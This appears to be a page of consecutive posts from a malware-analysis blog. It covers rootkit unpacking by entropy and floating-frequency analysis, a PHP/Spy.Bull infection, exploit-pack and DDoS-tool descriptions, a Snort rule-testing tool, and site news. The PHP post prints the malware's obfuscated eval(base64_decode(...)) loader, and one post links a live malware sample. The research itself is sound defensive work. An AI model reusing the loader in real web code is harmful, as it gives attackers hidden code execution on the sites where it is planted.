Today I'm going to expose how to perform the preliminar analysis of a Rootkit Application both via the classical Reverse Engineering approach and Crytpanalysis one.

We will inspect a recent threat commonly detected as Rootkit Agent.adah, this rootkit is delivered in the usual form of executable (.exe) via Compromised or Malicious Websites.

Usually the main executable is delivered in packed/compressed form and presents other executables embedded as resources, in other cases we can have blocks of encrypted data that will be decrypted on fly by the main executable.

In the first step we are going to see how is structured the executable. CFF reveals us that the application is packed with UPX v3.0;

Due to the nature of UPX, that is essentially a compressor, we will see a pattern almost constant, stabilized at high levels of entropy. Here a graph plot

http://2.bp.blogspot.com/_8XESv__n8f4/S2Pkl6A94_I/AAAAAAAAAB8/pwMIeOReA_8/s320/_getexe%3Dv2prx.ese.png

As should be evident, the internal structure and presence of embedded data is protected cause the constancy of the Entropy along the executable. In other words in this case the contribution from knowledge of entropy does not help us to have additional information. We have to perform more specific inspections, this time by using Floating Frequency Analysis.

Let's spend some word about what mean Floating Frequency..

The floating frequency of a document is a characteristic of its local information content at individual points in the document. The floating frequency specifies how many different characters are to be found in any given 64-character long segment of the document. The function considers sequences of text in the active window that are 64 characters long and counts how many different characters are to be found in this "window". The "window" is then shifted one character to the right and the calculation is repeated. This procedure results in a summary of the document in which it is possible to identify the places with high and low information density. A document of length n > 64 bytes has n-63 such index numbers in its characteristics.

This is how work, implicitly should be clear enough how to interpret a Floating Frequency Graph,
high values which deviate markedly from the background in an executable suggest that encrypted data or even cryptographic keys will be found in those places.

Let's inspect the first graph:

http://2.bp.blogspot.com/_8XESv__n8f4/S2PwVGJo0eI/AAAAAAAAACE/DE8gCIGUV9M/s1600-h/ff_1.jpg

As you can see, with floating frequency we are now able to distinguish the PE Header that presents a low Differences Ratio, suddenly after the PE Header we can see UPX at work, plot is constant and uniform, near the end happens an interesting thing, a marked decrease of frequency that remains stable and uniform for a certain offset range, at the end of this isolated behaviour we register another abrupt decrease, this is the end of PE and obviously of the file.

The isolated behaviour is truly interesting, the offset of this 'object' is placed in .rsrc section and presents a strong entropy due the evident density of Floating Freq. plot. A good compression algo introduces a significative increase of entropy, but if the block has already an high entropy this increase obviously cannot happen.We may think that the resource is compressed/encrypted. For example we could have another packed exectable.

After this preliminary inspection we unpack the main malicious executable and inspect in the same way the unpacked one.

Here the Entropy Plot of unpacked sample:

http://2.bp.blogspot.com/_8XESv__n8f4/S2P6SCcsJEI/AAAAAAAAACM/zE_8b0tHYi0/s320/upckd.png

As you can the, now the situation is different, emerges the evidence of PE Header, after a normal ammount of entropy, globally lower that the previous graph, a central drop caused by Zero Padding for PE Alignment, sucessively an increase long a defined amount of bytes (a block) and suddenly after an evident increase of entropy that reaches the RED Level. This mean that our previous observations on floating frequency plot was correct, here the 'object' that certainly is packed/compressed. Finally we have a classical slow down caused by the intrinsic structure of PE Format.

Again let's perform the Floating Frequency inspection of the unpacked executable, here how changes the graph:

http://4.bp.blogspot.com/_8XESv__n8f4/S2P8zAG6UxI/AAAAAAAAACU/WLhLthrWNXw/s320/ff_2.jpg

Again Floating Frequency reveals us more details, or better (in this case) highlights better the structure of the whole executable plus the conformations of the two objects. If you pay attention to the first one, you can see that this corpse is truly similar to the global look of the unpacked executable, in other words we can state that the first object is effectively another merged executable!
The second one is certainly a compressed object, the reason is clear just lookup the previous explaintions.

Now let's see practically the whole body of our unpacked executable, from a classical Reverse Engineering point of view. We said that the two objects are placed into .rsrc section, let's look with Great CFF (I love this Tool :) ) if this is true.

Bang! correct, the two merged resources are definitely two executables!
The first one is a clean .sys, this is clear due to the presence of INIT in the PE Header.
Also the second resource corresponds to our predictions, we have an UPX packed executable.

Now should be trivial to carve these two executables, just locate the starting offset and by delimiting with Block Start/End function of CFF we obtain the executable size that added to the starting offset give us the final offset where to cut.

The Block End corresponds obviously with the end of first/second resource.

The .sys is the core file of our rootkit, I'll reverse it in a future post, the second executable, when unpacked become clear that is a DLL, if we take a look to some function name for exampe this:

_NF_STATUS __cdecl nf_addRule(struct _NF_RULE *)

became clear that this DLL acts as Network Filter by using NetFilterSDK ( http://netfiltersdk.com/ )

But this is matter of future blog post.

Hope you enjoyed this little paper :)

Giuseppe 'Evilcry' Bonfa'

Vizsec 2010, or the Visualization Security conference, is one of those conferences that I feel strongly could change the nature of security field. If you have any ideas for visualization, especially reverse engineering related visualization, I strongly recommend you submit a paper there. Here are the relevant dates:

April 30, 2010 Full papers
May 21, 2010 Short papers

The Vizsec CFP is open now. It's colocated with RAID this year. Based on the 2008 RAID papers it should be a productive week.

One of the day-to-day tasks of running this site involves monitoring for spam. Usually it's no problem: I just delete the junk posts, comments, and disable the accounts. I've made some tools to make this pretty easy. The problem is that the spammers and malcontents seem to have ratcheted up their spamming and it's getting to be too much work. I've made a drastic change requiring people to send me an email asking to register their account.

There is a general pattern to the spam. All of the accounts are new and created within 1-10 hours of the spam. They all tend to have Gmail accounts. Others such as Yahoo, Hotmail, etc. have really dropped off. It would be nice if Google could do something to prevent people from taking advantage of their server. If I just banned any accounts from Gmail I could probably get rid of about 90% of the spam. That would affect other people using Gmail legitimately though, so I didn't want to take that step.

I realize there are people out there doing legitimate work [1] that can't answer the questions truthfully. That's ok, just make something up. I will accept "I work for the Post Office" as an answer [2], or pretty much anything else. So far it seems to be working too, there haven't been nearly as many spam messages as before.

There also have been some efforts to download our entire collection of malware. While I can understand why someone would want to do this, it does end up using a lot of our resources, bandwidth being one of them. As always I'm happy to work with people but please contact me about it. I'm happy to make trades with people for new samples I can add. If you have nothing to trade drop me a note and we can work something out.

[1] For some definition of legitimate. :)
[2] Stolen without shame from Halvar's class

I recently ran across some malware on a site and am trying to figure out how it works. I've been trying to unpack the original file I downloaded, but haven't been having much success. The original executable deletes itself and creates another executable in C:\WINDOWS\system32. Attempts to disassemble it with IDA, ollydbg, and PE Browse all don't work. I've put what dumpbin has to say at the bottom of the post. I figure it's packed somehow. Any tips? I've uploaded the file, you can find it here:

http://www.offensivecomputing.net/?q=ocsearch&ocq=2d7a7bceac89a0ae7c6edcbf62252bc5

Watching the sample counter, I noticed that we have ticked over the 1 million mark. Ordinarily I'm not one for making a big deal about big round numbers, but I think this one has some special merit. There has been a lot of work to make this happen from a lot of people. Offensive Computing has been running for a little over 4 years now. It started out as a small website with big dreams. That turned into one with more of a focus on large numbers of samples. I can remember conversations with friends about how amazing it was when we had a thousand, ten thousand, and forty thousand samples. Each increment of size added more complexity to the system. There is no better way to learn about scaling issues than to run a public site like this.

It has always been our hope that this site has been a resource to the reverse engineering and malware analysis community. As always we enjoy interacting with everyone whether it be at conferences, training we've taught, twitter, or just email.

Thank you for all your support in creating this resource. Happy 1 million samples!

Danny Quist

Today we're going to locate a PHP/Spy.Bull infected target, Cryptoanalyze the
encoded blocks involved in and finally analyze the deriving thread.

It's clear that cryptanalysis part is is superabundant for the study of the actual threat, what I want to show here is a different, more pragmatic and general approach to the problem.

This procedure can be used in much more complex contexts, where encryption is stronger that our case and there is an important lack of informations.

This malicious PHP malware affects compromised Websites, with an encrypted page, the classical anatomy of an infected URL is

http://____.dk/____/_____/one.txt??

Let's now see this page.

eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9
c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF
9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfW
Ck7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

As you can see we have two blocks of encrypted data:

1. The first one that does not help us in this moment because we don't have any explicit information about the encryption algorithm used, but we can pragmatically how complex is this cipher text.
2. We can decode the second block, its easly Base64 Encoded.

At a first look it's obvious that the first code block presents an encryption that should be not so hard. But this is only a supposition, we have to demonstrate:

1. It's really easy how appears?
2. We can have a misure of how many complex is?

Could happen that an apparently easy block it's the result of complex operations.

Chalk up one for the defenders. Here’s how a trio of security researchers used a three-step attack to defeat a 250,000-pronged botnet.

Erik Larkin, PC World
Sunday, December 27, 2009 06:00 PM PST

Siberia Exploit Pack is a new package designed to exploit vulnerabilities and recruit zombies original, as is easy to deduce from its name and as is customary in this area crimeware clandestine business in Russia.

Rule2Alert's goal, is to read in snort rules and generate packets that would make snort produce an alert. It is written entirely in python and utilizes Scapy to craft the packets. It is still under heavy development with myself, Pablo Rincon, and Will Metcalf.

Currently, it is able to generate pcaps based off simple content snort compatible rules. I loaded in the emerging-all.rules file and was able to create a pcap that alerted snort 514 times. The project is not ready to be released yet, but the results look promising so far. This project is currently under the Open Information Security Foundation, as all of the project members are currently working on the new IDS/IPS system Suricata.

Example:

test.rule
----------
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Snort alert"; flow:to_server,established; content:"|56 24 5a 63|"; content:"hey"; distance:5; within:12; sid:2000000; rev:1;)

famousjs@youbantoo:~/rule2alert$ sudo python r2a.py -vt -c /etc/snort/snort.conf -f rules/test.rule -w test.pcap
Ether / IP / TCP 192.168.0.1:9001 > 1.1.1.1:www S
Ether / IP / TCP 1.1.1.1:www > 192.168.0.1:9001 SA
Ether / IP / TCP 192.168.0.1:9001 > 1.1.1.1:www A
Ether / IP / TCP 192.168.0.1:9001 > 1.1.1.1:www PA / Raw

-------- Hex Payload Start ----------
56 24 5a 63 20 20 20 20
20 68 65 79
--------- Hex Payload End -----------

Loaded 1 rules successfully!
Writing packets to pcap...
Successfully alerted on all loaded rules

Conceptually speaking, a DoS attack (Denial of Service attack) is basically bombarded with requests for a service or computer resource to saturate and the system can not process more data, so those resources and services are inaccessible, "denying" the access to anyone who wants them.

From the standpoint of computer security, Denial of Service attacks are a major problem because many botnets are designed to automate these attacks, especially those of particular purpose, taking advantage of computational power offered by the network of zombies. In this case, the attack is called Distributed Denial of Service (DDoS).

Moreover, under the framework of the concept of cyberwarfare, this type of attack is part of the armament "war" through which virtual scenarios presented conflicts between their requirements as to neutralize a state vital services.

RussKill is a web application that is classified within these activities and that despite being extremely simple, both in functionality and in the way of use, is an attack that could be very effective and difficult to detect.

As is customary in the current crimeware, the web application is of Russian origin and has a number of fields with information about how and against whom to carry out the attack, letting you configure the packet sequence, ie the flow in amount. The option "Hide url" is a self-defensive measure designed to ensure that the server is detected.

Although several methods of DoS attacks, RussKill makes use of the attacks HTTP-flood and SYN-flood. In both cases the servers for flood victims through http requests and packets with fake source IP addresses respectively.

As I said at first, the denial of service attacks are a danger for any information system, regardless of the platform that supports services and applications such, in this case site, demonstrates the ease with which an attack of this type can run.

Jorge Mieres
Pistus Malware Intelligence